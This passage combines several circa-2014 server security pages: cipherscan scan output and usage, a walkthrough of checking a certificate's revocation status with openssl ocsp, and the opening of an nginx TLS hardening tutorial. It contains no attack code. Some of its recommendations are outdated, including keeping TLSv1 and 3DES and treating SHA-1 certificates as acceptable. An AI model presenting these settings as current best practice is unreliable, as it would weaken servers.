9     RC4-MD5                      SSLv3,TLSv1,TLSv1.1,TLSv1.2  None                None
10    ECDHE-RSA-AES256-GCM-SHA384  TLSv1.2                      ECDH,P-256,256bits  prime256v1
11    ECDHE-RSA-AES256-SHA384      TLSv1.2                      ECDH,P-256,256bits  prime256v1
12    ECDHE-RSA-AES256-SHA         SSLv3,TLSv1,TLSv1.1,TLSv1.2  ECDH,P-256,256bits  prime256v1
13    AES256-GCM-SHA384            TLSv1.2                      None                None
14    AES256-SHA256                TLSv1.2                      None                None
15    AES256-SHA                   SSLv3,TLSv1,TLSv1.1,TLSv1.2  None                None
16    ECDHE-RSA-AES128-SHA256      TLSv1.2                      ECDH,P-256,256bits  prime256v1
17    ECDHE-RSA-DES-CBC3-SHA       SSLv3,TLSv1,TLSv1.1,TLSv1.2  ECDH,P-256,256bits  prime256v1
18    DES-CBC3-SHA                 SSLv3,TLSv1,TLSv1.1,TLSv1.2  None                None

Certificate: trusted, 2048 bit, sha1WithRSAEncryption signature
TLS ticket lifetime hint: 100800
OCSP stapling: not supported
Cipher ordering: server

Testing STARTTLS:

darwin$ $ ./cipherscan --curves -starttls xmpp jabber.ccc.de:5222
................................
Target: jabber.ccc.de:5222

prio  ciphersuite                  protocols              pfs                 curves
1     ECDHE-RSA-AES256-GCM-SHA384  TLSv1.2                ECDH,P-256,256bits  prime256v1
2     ECDHE-RSA-AES256-SHA384      TLSv1.2                ECDH,P-256,256bits  prime256v1
3     ECDHE-RSA-AES256-SHA         TLSv1,TLSv1.1,TLSv1.2  ECDH,P-256,256bits  prime256v1
4     DHE-RSA-AES256-GCM-SHA384    TLSv1.2                DH,1024bits         None
5     DHE-RSA-AES256-SHA256        TLSv1.2                DH,1024bits         None
6     DHE-RSA-AES256-SHA           TLSv1,TLSv1.1,TLSv1.2  DH,1024bits         None
7     DHE-RSA-CAMELLIA256-SHA      TLSv1,TLSv1.1,TLSv1.2  DH,1024bits         None
8     AES256-GCM-SHA384            TLSv1.2                None                None
9     AES256-SHA256                TLSv1.2                None                None
10    AES256-SHA                   TLSv1,TLSv1.1,TLSv1.2  None                None
11    CAMELLIA256-SHA              TLSv1,TLSv1.1,TLSv1.2  None                None
12    ECDHE-RSA-AES128-GCM-SHA256  TLSv1.2                ECDH,P-256,256bits  prime256v1
13    ECDHE-RSA-AES128-SHA256      TLSv1.2                ECDH,P-256,256bits  prime256v1
14    ECDHE-RSA-AES128-SHA         TLSv1,TLSv1.1,TLSv1.2  ECDH,P-256,256bits  prime256v1
15    DHE-RSA-AES128-GCM-SHA256    TLSv1.2                DH,1024bits         None
16    DHE-RSA-AES128-SHA256        TLSv1.2                DH,1024bits         None
17    DHE-RSA-AES128-SHA           TLSv1,TLSv1.1,TLSv1.2  DH,1024bits         None
18    DHE-RSA-SEED-SHA             TLSv1,TLSv1.1,TLSv1.2  DH,1024bits         None
19    DHE-RSA-CAMELLIA128-SHA      TLSv1,TLSv1.1,TLSv1.2  DH,1024bits         None
20    AES128-GCM-SHA256            TLSv1.2                None                None
21    AES128-SHA256                TLSv1.2                None                None
22    AES128-SHA                   TLSv1,TLSv1.1,TLSv1.2  None                None
23    SEED-SHA                     TLSv1,TLSv1.1,TLSv1.2  None                None
24    CAMELLIA128-SHA              TLSv1,TLSv1.1,TLSv1.2  None                None

Certificate: UNTRUSTED, 2048 bit, sha1WithRSAEncryption signature
TLS ticket lifetime hint: None
OCSP stapling: not supported
Cipher ordering: client
Curves ordering: server
Curves fallback: False

Exporting to JSON with the -j command line option:

$ ./cipherscan --curves -j www.ebay.com | j
{
    "curves_fallback": "False",
    "serverside": "True",
    "target": "www.ebay.com:443",
    "utctimestamp": "2015-04-03T14:54:31.0Z",
    "ciphersuite": [
        {
            "cipher": "AES256-SHA",
            "ocsp_stapling": "False",
            "pfs": "None",
            "protocols": [
                "TLSv1",
                "TLSv1.1",
                "TLSv1.2"
            ],
            "pubkey": [
                "2048"
            ],
            "sigalg": [
                "sha1WithRSAEncryption"
            ],
            "ticket_hint": "None",
            "trusted": "True"
        },
        {
            "cipher": "ECDHE-RSA-DES-CBC3-SHA",
            "curves": [
                "prime256v1",
                "secp384r1",
                "secp224r1",
                "secp521r1"
            ],
            "curves_ordering": "server",
            "ocsp_stapling": "False",
            "pfs": "ECDH,P-256,256bits",
            "protocols": [
                "TLSv1",
                "TLSv1.1",
                "TLSv1.2"
            ],
            "pubkey": [
                "2048"
            ],
            "sigalg": [
                "sha1WithRSAEncryption"
            ],
            "ticket_hint": "None",
            "trusted": "True"
        }
    ]
}

Analyzing configurations

The motivation behind cipherscan is to help operators configure good TLS on their endpoints. To help this further, the script analyze.py compares the results of a cipherscan with the TLS guidelines from https://wiki.mozilla.org/Security/Server_Side_TLS and output a level and recommendations.

$ ./analyze.py -t jve.linuxwall.info
jve.linuxwall.info:443 has intermediate tls

Changes needed to match the old level:
* consider enabling SSLv3
* add cipher DES-CBC3-SHA
* use a certificate with sha1WithRSAEncryption signature
* consider enabling OCSP Stapling

Changes needed to match the intermediate level:
* consider enabling OCSP Stapling

Changes needed to match the modern level:
* remove cipher AES128-GCM-SHA256
* remove cipher AES256-GCM-SHA384
* remove cipher AES128-SHA256
* remove cipher AES128-SHA
* remove cipher AES256-SHA256
* remove cipher AES256-SHA
* disable TLSv1
* consider enabling OCSP Stapling

In the output above, analyze.py indicates that the target jve.linuxwall.info matches the intermediate configuration level. If the administrator of this site wants to reach the modern level, the items that failed under the modern tests should be corrected.

analyze.py does not make any assumption on what a good level should be. Sites operators should now what level they want to match against, based on the compatibility level they want to support. Again, refer to https://wiki.mozilla.org/Security/Server_Side_TLS for more information.

Note on Nagios mode: analyse.py can be ran as a nagios check with --nagios. The exit code will then represent the state of the configuration:

  • 2 (critical) for bad tls
  • 1 (warning) if it doesn’t match the desired level
  • 0 (ok) if it matches. cipherscan can take more than 10 seconds to complete. To alleviate any timeout issues, you may want to run it outside of nagios, passing data through some temporary file.

OpenSSL

Cipherscan uses a custom release of openssl for linux 64 bits and darwin 64 bits. OpenSSL is build from a custom branch maintained by Peter Mosmans that includes a number of patches not merged upstream. It can be found here: https://github.com/PeterMosmans/openssl

You can build it yourself using following commands:

git clone https://github.com/PeterMosmans/openssl.git --depth 1 -b 1.0.2-chacha
cd openssl
./Configure zlib no-shared experimental-jpake enable-md2 enable-rc5 \
enable-rfc3779 enable-gost enable-static-engine linux-x86_64
make depend
make
make report

The statically linked binary will be apps/openssl.

More information can be found on: https://github.com/jvehent/cipherscan

OpenSSL: Manually verify a certificate against an OCSP


This article shows you how to manually verfify a certificate against an OCSP server. OCSP stands for the Online Certificate Status Protocol and is one way to validate a certificate status. It is an alternative to the CRL, certificate revocation list.

Compared to CRL’s:

  • Since an OCSP response contains less information than a typical CRL (certificate revocation list), OCSP can use networks and client resources more efficiently.
  • Using OCSP, clients do not need to parse CRLs themselves, saving client-side complexity. However, this is balanced by the practical need to maintain a cache. In practice, such considerations are of little consequence, since most applications rely on third-party libraries for all X.509 functions.
  • OCSP discloses to the responder that a particular network host used a particular certificate at a particular time. OCSP does not mandate encryption, so other parties may intercept this information.

You can read more about the OCSP on wikipedia

We will be using OpenSSL in this article. I’m using the following version:

$ openssl version
OpenSSL 1.0.1g 7 Apr 2014

Get a certificate with an OCSP

First we will need a certificate from a website. I’ll be using Wikipedia as an example here. We can retreive this with the following openssl command:

openssl s_client -connect wikipedia.org:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p'

Save this output to a file, for example, wikipedia.pem:

openssl s_client -connect wikipedia.org:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > wikipedia.pem

Now, check if this certificate has an OCSP URI:

openssl x509 -noout -ocsp_uri -in wikipedia.pem
http://ocsp.digicert.com

If it does not give any output, the certificate has no OCSP URI. You cannot valdiate it against an OCSP.

Getting the certificate chain

It is required to send the certificate chain along with the certificate you want to validate. So, we need to get the certificate chain for our domain, wikipedia.org. Using the -showcerts option with openssl s_client, we can see all the certificates, including the chain:

openssl s_client -connect wikipedia.org:443 -showcerts 2>&1 < /dev/null

Results in a boatload of output, but what we are interested in is the following:

 1 s:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance CA-3
   i:/C=US/O=DigiCert Inc/OU=www.digicert.com/CN=DigiCert High Assurance EV Root CA
-----BEGIN CERTIFICATE-----
MIIGWDCCBUCgAwIBAgIQCl8RTQNbF5EX0u/UA4w/OzANBgkqhkiG9w0BAQUFADBs
MQswCQYDVQQGEwJVUzEVMBMGA1UEChMMRGlnaUNlcnQgSW5jMRkwFwYDVQQLExB3
d3cuZGlnaWNlcnQuY29tMSswKQYDVQQDEyJEaWdpQ2VydCBIaWdoIEFzc3VyYW5j
ZSBFViBSb290IENBMB4XDTA4MDQwMjEyMDAwMFoXDTIyMDQwMzAwMDAwMFowZjEL
MAkGA1UEBhMCVVMxFTATBgNVBAoTDERpZ2lDZXJ0IEluYzEZMBcGA1UECxMQd3d3
LmRpZ2ljZXJ0LmNvbTElMCMGA1UEAxMcRGlnaUNlcnQgSGlnaCBBc3N1cmFuY2Ug
Q0EtMzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAL9hCikQH17+NDdR
CPge+yLtYb4LDXBMUGMmdRW5QYiXtvCgFbsIYOBC6AUpEIc2iihlqO8xB3RtNpcv
KEZmBMcqeSZ6mdWOw21PoF6tvD2Rwll7XjZswFPPAAgyPhBkWBATaccM7pxCUQD5
BUTuJM56H+2MEb0SqPMV9Bx6MWkBG6fmXcCabH4JnudSREoQOiPkm7YDr6ictFuf
1EutkozOtREqqjcYjbTCuNhcBoz4/yO9NV7UfD5+gw6RlgWYw7If48hl66l7XaAs
zPw82W3tzPpLQ4zJ1LilYRyyQLYoEt+5+F/+07LJ7z20Hkt8HEyZNp496+ynaF4d
32duXvsCAwEAAaOCAvowggL2MA4GA1UdDwEB/wQEAwIBhjCCAcYGA1UdIASCAb0w
ggG5MIIBtQYLYIZIAYb9bAEDAAIwggGkMDoGCCsGAQUFBwIBFi5odHRwOi8vd3d3
LmRpZ2ljZXJ0LmNvbS9zc2wtY3BzLXJlcG9zaXRvcnkuaHRtMIIBZAYIKwYBBQUH
AgIwggFWHoIBUgBBAG4AeQAgAHUAcwBlACAAbwBmACAAdABoAGkAcwAgAEMAZQBy
AHQAaQBmAGkAYwBhAHQAZQAgAGMAbwBuAHMAdABpAHQAdQB0AGUAcwAgAGEAYwBj
AGUAcAB0AGEAbgBjAGUAIABvAGYAIAB0AGgAZQAgAEQAaQBnAGkAQwBlAHIAdAAg
AEMAUAAvAEMAUABTACAAYQBuAGQAIAB0AGgAZQAgAFIAZQBsAHkAaQBuAGcAIABQ
AGEAcgB0AHkAIABBAGcAcgBlAGUAbQBlAG4AdAAgAHcAaABpAGMAaAAgAGwAaQBt
AGkAdAAgAGwAaQBhAGIAaQBsAGkAdAB5ACAAYQBuAGQAIABhAHIAZQAgAGkAbgBj
AG8AcgBwAG8AcgBhAHQAZQBkACAAaABlAHIAZQBpAG4AIABiAHkAIAByAGUAZgBl
AHIAZQBuAGMAZQAuMBIGA1UdEwEB/wQIMAYBAf8CAQAwNAYIKwYBBQUHAQEEKDAm
MCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wgY8GA1UdHwSB
hzCBhDBAoD6gPIY6aHR0cDovL2NybDMuZGlnaWNlcnQuY29tL0RpZ2lDZXJ0SGln
aEFzc3VyYW5jZUVWUm9vdENBLmNybDBAoD6gPIY6aHR0cDovL2NybDQuZGlnaWNl
cnQuY29tL0RpZ2lDZXJ0SGlnaEFzc3VyYW5jZUVWUm9vdENBLmNybDAfBgNVHSME
GDAWgBSxPsNpA/i/RwHUmCYaCALvY2QrwzAdBgNVHQ4EFgQUUOpzidsp+xCPnuUB
INTeeZlIg/cwDQYJKoZIhvcNAQEFBQADggEBAB7ipUiebNtTOA/vphoqrOIDQ+2a
vD6OdRvw/S4iWawTwGHi5/rpmc2HCXVUKL9GYNy+USyS8xuRfDEIcOI3ucFbqL2j
CwD7GhX9A61YasXHJJlIR0YxHpLvtF9ONMeQvzHB+LGEhtCcAarfilYGzjrpDq6X
dF3XcZpCdF/ejUN83ulV7WkAywXgemFhM9EZTfkI7qA5xSU1tyvED7Ld8aW3DiTE
JiiNeXf1L/BXunwH1OH8zVowV36GEEfdMR/X/KLCvzB8XSSq6PmuX2p0ws5rs0bY
Ib4p1I5eFdZCSucyb6Sxa1GDWL4/bcf72gMhy2oWGU4K8K2Eyl2Us1p292E=
-----END CERTIFICATE-----

As you can see, this is number 1. Number 0 is the certificate for Wikipedia, we already have that. If your site has more certificates in its chain, you will see more here. Save them all, in the order OpenSSL sends them (as in, first the one which directly issued your server certificate, then the one that issues that certificate and so on, with the root or most-root at the end of the file) to a file, named chain.pem.

Sending the OCSP request

We now have all the data we need to do an OCSP request. Using the following Openssl command we can send an OCSP request and only get the text output:

openssl ocsp -issuer chain.pem -cert wikipedia.pem -text -url http://ocsp.digicert.com

Results in:

OCSP Request Data:
    Version: 1 (0x0)
    Requestor List:
        Certificate ID:
          Hash Algorithm: sha1
          Issuer Name Hash: ED48ADDDCB7B00E20E842AA9B409F1AC3034CF96
          Issuer Key Hash: 50EA7389DB29FB108F9EE50120D4DE79994883F7
          Serial Number: 0114195F66FAFF8FD66E12496E516F4F
    Request Extensions:
        OCSP Nonce:
            0410DA634F2ADC31DC48AE89BE64E8252D12
OCSP Response Data:
    OCSP Response Status: successful (0x0)
    Response Type: Basic OCSP Response
    Version: 1 (0x0)
    Responder Id: 50EA7389DB29FB108F9EE50120D4DE79994883F7
    Produced At: Apr  9 08:45:00 2014 GMT
    Responses:
    Certificate ID:
      Hash Algorithm: sha1
      Issuer Name Hash: ED48ADDDCB7B00E20E842AA9B409F1AC3034CF96
      Issuer Key Hash: 50EA7389DB29FB108F9EE50120D4DE79994883F7
      Serial Number: 0114195F66FAFF8FD66E12496E516F4F
    Cert Status: good
    This Update: Apr  9 08:45:00 2014 GMT
    Next Update: Apr 16 09:00:00 2014 GMT

    Signature Algorithm: sha1WithRSAEncryption
         56:21:4c:dc:84:21:f7:a8:ac:a7:b9:bc:10:19:f8:19:f1:34:
         c1:63:ca:14:7f:8f:5a:85:2a:cc:02:b0:f8:b5:05:4a:0f:28:
         50:2a:4a:4d:04:01:b5:05:ef:a5:88:41:d8:9d:38:00:7d:76:
         1a:aa:ff:21:50:68:90:d2:0c:93:85:49:e7:8e:f1:58:08:77:
         a0:4e:e2:22:98:01:b7:e3:27:75:11:f5:b7:8f:e0:75:7d:19:
         9b:74:cf:05:dc:ae:1c:36:09:95:b6:08:bc:e7:3f:ea:a2:e3:
         ae:d7:8f:c0:9d:8e:c2:37:67:c7:5b:d8:b0:67:23:f1:51:53:
         26:c2:96:b0:1a:df:4e:fb:4e:e3:da:a3:98:26:59:a8:d7:17:
         69:87:a3:68:47:08:92:d0:37:04:6b:49:9a:96:9d:9c:b1:e8:
         cb:dc:68:7b:4a:4d:cb:08:f7:92:67:41:99:b6:54:56:80:0c:
         18:a7:24:53:ac:c6:da:1f:4d:f4:3c:7d:68:44:1d:a4:df:1d:
         48:07:85:52:86:59:46:d1:35:45:1a:c7:6b:6b:92:de:24:ae:
         c0:97:66:54:29:7a:c6:86:a6:da:9f:06:24:dc:ac:80:66:95:
         e0:eb:49:fd:fb:d4:81:6a:2b:81:41:57:24:78:3b:e0:66:70:
         d4:2e:52:92
wikipedia.pem: good
    This Update: Apr  9 08:45:00 2014 GMT
    Next Update: Apr 16 09:00:00 2014 GMT

If you want to have a more summarized output, leave out the -text option. I most of the time include it to find out problems with an OCSP.

This is how a good certificate status looks:

openssl ocsp -issuer chain.pem -cert wikipedia.pem -url http://ocsp.digicert.com
wikipedia.pem: good
    This Update: Apr  9 08:45:00 2014 GMT
    Next Update: Apr 16 09:00:00 2014 GMT

Revoked certificate

If you have a revoked certificate, you can also test it the same way as stated above. The response looks like this:

Response verify OK
test-revoked.pem: revoked
    This Update: Apr  9 03:02:45 2014 GMT
    Next Update: Apr 10 03:02:45 2014 GMT
    Revocation Time: Mar 25 15:45:55 2014 GMT

You can test this using the certificate and chain on the Verisign revoked certificate test page: https://test-sspev.verisign.com:2443/test-SSPEV-revoked-verisign.html

Other errors

If we send this request to another OCSP, one who did not issued this certificate, we should receive an unauthorized error:

openssl ocsp -issuer chain.pem -cert wikipedia.pem -url http://rapidssl-ocsp.geotrust.com
Responder Error: unauthorized (6)

The -text option here shows more information:

OCSP Request Data:
    Version: 1 (0x0)
    Requestor List:
        Certificate ID:
          Hash Algorithm: sha1
          Issuer Name Hash: ED48ADDDCB7B00E20E842AA9B409F1AC3034CF96
          Issuer Key Hash: 50EA7389DB29FB108F9EE50120D4DE79994883F7
          Serial Number: 0114195F66FAFF8FD66E12496E516F4F
    Request Extensions:
        OCSP Nonce:
            041015BB718C43C46C41122E841DB2282ECE
Responder Error: unauthorized (6)

Some OCSP’s are configured differently and give out this error:

openssl ocsp -issuer chain.pem -cert wikipedia.pem -url http://ocsp.digidentity.eu/L4/services/ocsp
Response Verify Failure
140735308649312:error:2706B06F:OCSP routines:OCSP_CHECK_IDS:response contains no revocation data:ocsp_vfy.c:269:
140735308649312:error:2706B06F:OCSP routines:OCSP_CHECK_IDS:response contains no revocation data:ocsp_vfy.c:269:
wikipedia.pem: ERROR: No Status found.

If we do include the -text option here we can see that a response is sent, however, that it has no data in it:

OCSP Response Data:
    OCSP Response Status: successful (0x0)
    Response Type: Basic OCSP Response
    Version: 1 (0x0)
    Responder Id: C = NL, O = Digidentity B.V., CN = Digidentity OCSP
    Produced At: Apr  9 12:02:00 2014 GMT
    Responses:
    Response Extensions:
OCSP Nonce:
    0410EB540472EA2D8246E88F3317B014BEEF
Signature Algorithm: sha256WithRSAEncryption

Other OCSP’s give out the “unknown” status:

openssl ocsp -issuer chain.pem -cert wikipedia.pem  -url http://ocsp.quovadisglobal.com/
Response Verify Failure
140735308649312:error:27069070:OCSP routines:OCSP_basic_verify:root ca not trusted:ocsp_vfy.c:152:
wikipedia.pem: unknown
    This Update: Apr  9 12:09:18 2014 GMT

The -text options shows us more:

OCSP Response Data:
    OCSP Response Status: successful (0x0)
    Response Type: Basic OCSP Response
    Version: 1 (0x0)
    Responder Id: C = CH, O = QuoVadis Limited, OU = OCSP Responder, CN = QuoVadis OCSP Authority Signature
    Produced At: Apr  9 12:09:10 2014 GMT
    Responses:
    Certificate ID:
      Hash Algorithm: sha1
      Issuer Name Hash: ED48ADDDCB7B00E20E842AA9B409F1AC3034CF96
      Issuer Key Hash: 50EA7389DB29FB108F9EE50120D4DE79994883F7
      Serial Number: 0114195F66FAFF8FD66E12496E516F4F
    Cert Status: unknown
    This Update: Apr  9 12:09:10 2014 GMT

    Response Extensions:

Sources

Strong SSL Security on Nginx


This tutorial shows you how to set up strong SSL security on the nginx webserver. We do this by disabling SSL Compression to mitigate the CRIME attack, disable SSLv3 and below because of vulnerabilities in the protocol and we will set up a strong ciphersuite that enables Forward Secrecy when possible. We also enable HSTS and HPKP. This way we have a strong and future proof ssl configuration and we get an A on the Qually Labs SSL Test.

TL;DR: Copy-pastable strong cipherssuites for NGINX, Apache and Lighttpd: https://cipherli.st

This tutorial is tested on a Digital Ocean VPS. If you like this tutorial and want to support my website, use this link to order a Digital Ocean VPS: https://www.digitalocean.com

This tutorial works with the stricter requirements of the SSL Labs test announced on the 21st of January 2014 (It already did before that, if you follow(ed) it you get an A+)

This tutorial is also available for Apache
This tutorial is also available for Lighttpd
This tutorial is also available for FreeBSD, NetBSD and OpenBSD over at the BSD Now podcast: http://www.bsdnow.tv/tutorials/nginx

You can find more info on the topics by following the links below:

We are going to edit the nginx settings in the file /etc/nginx/sited-enabled/yoursite.com (On Ubuntu/Debian) or in/etc/nginx/conf.d/nginx.conf (On RHEL/CentOS).

For the entire tutorial, you need to edit the parts between the server block for the server config for port 443 (ssl config). At the end of the tutorial you can find the complete config example.

Make sure you back up the files before editing them!

The BEAST attack and RC4

In short, by tampering with an encryption algorithm’s CBC – cipher block chaining – mode’s, portions of the encrypted traffic can be secretly decrypted. More info on the above link.

Recent browser versions have enabled client side mitigation for the beast attack. The recommendation was to disable all TLS 1.0 ciphers and only offer RC4. However, [RC4 has a growing list of attacks against it],(http://www.isg.rhul.ac.uk/tls/) many of which have crossed the line from theoretical to practical. Moreover, there is reason to believe that the NSA has broken RC4, their so-called “big breakthrough.”

Disabling RC4 has several ramifications. One, users with shitty browsers such as Internet Explorer on Windows XP will use 3DES in lieu. Triple-DES is more secure than RC4, but it is significantly more expensive. Your server will pay the cost for these users. Two, RC4 mitigates BEAST. Thus, disabling RC4 makes TLS 1.0 users susceptible to that attack, by moving them to AES-CBC (the usual server-side BEAST “fix” is to prioritize RC4 above all else). I am confident that the flaws in RC4 significantly outweigh the risks from BEAST. Indeed, with client-side mitigation (which Chrome and Firefox both provide), BEAST is a nonissue. But the risk from RC4 only grows: More cryptanalysis will surface over time.

Factoring RSA-EXPORT Keys (FREAK)

FREAK is a man-in-the-middle (MITM) vulnerability discovered by a group of cryptographers at INRIA, Microsoft Research and IMDEA. FREAK stands for “Factoring RSA-EXPORT Keys.”

The vulnerability dates back to the 1990s, when the US government banned selling crypto software overseas, unless it used export cipher suites which involved encryption keys no longer than 512-bits.

It turns out that some modern TLS clients – including Apple’s SecureTransport and OpenSSL – have a bug in them. This bug causes them to accept RSA export-grade keys even when the client didn’t ask for export-grade RSA. The impact of this bug can be quite nasty: it admits a ‘man in the middle’ attack whereby an active attacker can force down the quality of a connection, provided that the client is vulnerable and the server supports export RSA.

There are two parts of the attack as the server must also accept “export grade RSA.”

The MITM attack works as follows:

  • In the client’s Hello message, it asks for a standard ‘RSA’ ciphersuite.
  • The MITM attacker changes this message to ask for ‘export RSA’.
  • The server responds with a 512-bit export RSA key, signed with its long-term key.
  • The client accepts this weak key due to the OpenSSL/SecureTransport bug.
  • The attacker factors the RSA modulus to recover the corresponding RSA decryption key.
  • When the client encrypts the ‘pre-master secret’ to the server, the attacker can now decrypt it to recover the TLS ‘master secret’.
  • From here on out, the attacker sees plaintext and can inject anything it wants.

The ciphersuite offered here on this page does not enable EXPORT grade ciphers. Make sure your OpenSSL is updated to the latest available version and urge your clients to also use upgraded software.

Heartbleed

Heartbleed is a security bug disclosed in April 2014 in the OpenSSL cryptography library, which is a widely used implementation of the Transport Layer Security (TLS) protocol. Heartbleed may be exploited regardless of whether the party using a vulnerable OpenSSL instance for TLS is a server or a client. It results from improper input validation (due to a missing bounds check) in the implementation of the DTLS heartbeat extension (RFC6520), thus the bug’s name derives from “heartbeat”. The vulnerability is classified as a buffer over-read, a situation where more data can be read than should be allowed.

What versions of the OpenSSL are affected by Heartbleed?

Status of different versions:

  • OpenSSL 1.0.1 through 1.0.1f (inclusive) are vulnerable
  • OpenSSL 1.0.1g is NOT vulnerable
  • OpenSSL 1.0.0 branch is NOT vulnerable
  • OpenSSL 0.9.8 branch is NOT vulnerable

The bug was introduced to OpenSSL in December 2011 and has been out in the wild since OpenSSL release 1.0.1 on 14th of March 2012. OpenSSL 1.0.1g released on 7th of April 2014 fixes the bug.

By updating OpenSSL you are not vulnerable to this bug.

SSL Compression (CRIME attack)

The CRIME attack uses SSL Compression to do its magic. SSL compression is turned off by default in nginx 1.1.6+/1.0.9+ (if OpenSSL 1.0.0+ used) and nginx 1.3.2+/1.2.2+ (if older versions of OpenSSL are used).

If you are using al earlier version of nginx or OpenSSL and your distro has not backported this option then you need to recompile OpenSSL without ZLIB support. This will disable the use of OpenSSL using the DEFLATE compression method. If you do this then you can still use regular HTML DEFLATE compression.

SSLv2 and SSLv3

SSL v2 is insecure, so we need to disable it. We also disable SSLv3, as TLS 1.0 suffers a downgrade attack, allowing an attacker to force a connection to use SSLv3 and therefore disable forward secrecy.

Again edit the config file:

ssl_protocols TLSv1 TLSv1.1 TLSv1.2;

Poodle and TLS-FALLBACK-SCSV

SSLv3 allows exploiting of the POODLE bug. This is one more major reason to disable this.

Google have proposed an extension to SSL/TLS named TLSFALLBACKSCSV that seeks to prevent forced SSL downgrades. This is automatically enabled if you upgrade OpenSSL to the following versions:

  • OpenSSL 1.0.1 has TLSFALLBACKSCSV in 1.0.1j and higher.
  • OpenSSL 1.0.0 has TLSFALLBACKSCSV in 1.0.0o and higher.
  • OpenSSL 0.9.8 has TLSFALLBACKSCSV in 0.9.8zc and higher.

More info on the NGINX documentation

The Cipher Suite

Forward Secrecy ensures the integrity of a session key in the event that a long-term key is compromised. PFS accomplishes this by enforcing the derivation of a new key for each and every session.

This means that when the private key gets compromised it cannot be used to decrypt recorded SSL traffic.

The cipher suites that provide Perfect Forward Secrecy are those that use an ephemeral form of the Diffie-Hellman key exchange. Their disadvantage is their overhead, which can be improved by using the elliptic curve variants.

The following two ciphersuites are recommended by me, and the latter by the Mozilla Foundation.

The recommended cipher suite:

ssl_ciphers 'AES128+EECDH:AES128+EDH';

The recommended cipher suite for backwards compatibility (IE6/WinXP):

ssl_ciphers "ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:ECDHE-RSA-AES256-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES256-SHA256:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA:DHE-RSA-AES128-SHA:ECDHE-RSA-DES-CBC3-SHA:EDH-RSA-DES-CBC3-SHA:AES256-GCM-SHA384:AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:AES256-SHA:AES128-SHA:DES-CBC3-SHA:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!MD5:!PSK:!RC4";

If your version of OpenSSL is old, unavailable ciphers will be discarded automatically. Always use the full ciphersuite above and let OpenSSL pick the ones it supports.

The ordering of a ciphersuite is very important because it decides which algorithms are going to be selected in priority. The recommendation above prioritizes algorithms that provide perfect forward secrecy.

Older versions of OpenSSL may not return the full list of algorithms. AES-GCM and some ECDHE are fairly recent, and not present on most versions of OpenSSL shipped with Ubuntu or RHEL.

Prioritization logic

  • ECDHE+AESGCM ciphers are selected first. These are TLS 1.2 ciphers and not widely supported at the moment. No known attack currently target these ciphers.
  • PFS ciphersuites are preferred, with ECDHE first, then DHE.
  • AES 128 is preferred to AES 256. There has been discussions on whether AES256 extra security was worth the cost, and the result is far from obvious. At the moment, AES128 is preferred, because it provides good security, is really fast, and seems to be more resistant to timing attacks.
  • In the backward compatible ciphersuite, AES is preferred to 3DES. BEAST attacks on AES are mitigated in TLS 1.1 and above, and difficult to achieve in TLS 1.0. In the non-backward compatible ciphersuite, 3DES is not present.
  • RC4 is removed entirely. 3DES is used for backward compatibility. See discussion in #RC4_weaknesses

Mandatory discards

  • aNULL contains non-authenticated Diffie-Hellman key exchanges, that are subject to Man-In-The-Middle (MITM) attacks
  • eNULL contains null-encryption ciphers (cleartext)
  • EXPORT are legacy weak ciphers that were marked as exportable by US law
  • RC4 contains ciphers that use the deprecated ARCFOUR algorithm
  • DES contains ciphers that use the deprecated Data Encryption Standard
  • SSLv2 contains all ciphers that were defined in the old version of the SSL standard, now deprecated
  • MD5 contains all the ciphers that use the deprecated message digest 5 as the hashing algorithm

Extra settings

Make sure you also add these lines:

ssl_prefer_server_ciphers on;
ssl_session_cache shared:SSL:10m;

When choosing a cipher during an SSLv3 or TLSv1 handshake, normally the client’s preference is used. If this directive is enabled, the server’s preference will be used instead.

More info on sslpreferserver_ciphers
More info on ssl_ciphers

Forward Secrecy & Diffie Hellman Ephemeral Parameters

The concept of forward secrecy is simple: client and server negotiate a key that never hits the wire, and is destroyed at the end of the session. The RSA private from the server is used to sign a Diffie-Hellman key exchange between the client and the server. The pre-master key obtained from the Diffie-Hellman handshake is then used for encryption. Since the pre-master key is specific to a connection between a client and a server, and used only for a limited amount of time, it is called Ephemeral.

With Forward Secrecy, if an attacker gets a hold of the server’s private key, it will not be able to decrypt past communications. The private key is only used to sign the DH handshake, which does not reveal the pre-master key. Diffie-Hellman ensures that the pre-master keys never leave the client and the server, and cannot be intercepted by a MITM.

All versions of nginx as of 1.4.4 rely on OpenSSL for input parameters to Diffie-Hellman (DH). Unfortunately, this means that Ephemeral Diffie-Hellman (DHE) will use OpenSSL’s defaults, which include a 1024-bit key for the key-exchange. Since we’re using a 2048-bit certificate, DHE clients will use a weaker key-exchange than non-ephemeral DH clients.

We need generate a stronger DHE parameter:

cd /etc/ssl/certs
openssl dhparam -out dhparam.pem 4096

And then tell nginx to use it for DHE key-exchange:

ssl_dhparam /etc/ssl/certs/dhparam.pem;

OCSP Stapling

When connecting to a server, clients should verify the validity of the server certificate using either a Certificate Revocation List (CRL), or an Online Certificate Status Protocol (OCSP) record. The problem with CRL is that the lists have grown huge and takes forever to download.

OCSP is much more lightweight, as only one record is retrieved at a time. But the side effect is that OCSP requests must be made to a 3rd party OCSP responder when connecting to a server, which adds latency and potential failures. In fact, the OCSP responders operated by CAs are often so unreliable that browser will fail silently if no response is received in a timely manner. This reduces security, by allowing an attacker to DoS an OCSP responder to disable the validation.

The solution is to allow the server to send its cached OCSP record during the TLS handshake, therefore bypassing the OCSP responder. This mechanism saves a roundtrip between the client and the OCSP responder, and is called OCSP Stapling.

The server will send a cached OCSP response only if the client requests it, by announcing support for the status_request TLS extension in its CLIENT HELLO.

Most servers will cache OCSP response for up to 48 hours. At regular intervals, the server will connect to the OCSP responder of the CA to retrieve a fresh OCSP record. The location of the OCSP responder is taken from the Authority Information Access field of the signed certificate.

View my tutorial on enabling OCSP stapling on NGINX

HTTP Strict Transport Security

